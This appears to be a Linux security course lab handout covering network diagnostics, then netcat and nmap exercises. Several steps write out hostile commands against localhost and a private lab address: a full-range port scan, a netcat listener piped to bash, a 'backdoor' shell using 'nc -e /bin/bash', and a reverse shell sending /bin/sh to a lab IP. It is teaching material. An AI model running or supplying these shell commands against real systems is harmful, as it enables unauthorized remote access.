Lab Exercise #4: Simple Network Review and Hacking

CIS 290 – LINUX Security

Lab Exercise #4: Simple network review and hacking

1. Install under LINUX – netcat, nmap, Wireshark, firewall and configuration tools. 2. Display all interfaces: ifconfig –a, ifconfig down eth0, ifconfig up eth0 3. Display interface physical attributes: ethtool eth0 4. ping gateway 5. traceroute csc.oakton.edu 6. netstat –rn 7. arp –a 8. telnet csc.oakton.edu 9. netstat –an 10. Review /etc/sysconfig/network-scripts 11. route print, netstat -rn

Stupid network tricks using TELNET, netcat, nmap:

12. Simple client/server

nc -l 1111 nc 127.0.0.1 1111 This is a test This is a test. Ending communication with ^C (Ctrl-C) (Ctrl-C)

13. Simple file transfer

nc -l 1234 > test.out echo Hi There!!!!! | nc 127.0.0.1 1234

14. Client to web server echo -e "GET http://www.oakton.edu HTTP/1.0\n\n\n\n" | nc -w 5 www.oakton.edu 80

15. Or getting a server header:

echo -e "HEAD / HTTP/1.0\n\n" | nc 10.0.2.100 80

16. Web Host web.txt Welcome to Bob's Webpage

Welcome to Bob's Webpage!!!!!!!!

Point browser to your system – http://127.0.0.1. CIS 290 – LINUX Security

Lab Exercise #4: Simple network review and hacking

17. Port scanning:

nmap –sT –p 1-65535 nc -z 127.0.0.1 1-1024 echo "quit" | nc -z 127.0.0.1 1-1024 echo EXIT | nc –z -w 1 127.0.0.1 1-1024

18. TELNET client/server nc -t -l 2323 | /bin/bash nc 127.0.0.1 2323 echo "Hi there" logout

19. “Backdoor” shell (-e option not in LINUX, note step 18 as bypass)

nc –e /bin/bash -l 2023 nc –v 127.0.0.1 2023

or telnet 127.0.0.1 2023

-e option not in LINUX

nc -l 2023 | /bin/bash provide access to bash builtin commands (no external executables.)

20. “Reverse” shell (-e option not in LINUX)

Local machine: nc -n -v -l -p 1234 Remote machine: nc -e /bin/sh 10.0.2.100 1234

21. Telnet to discovered ports: telnet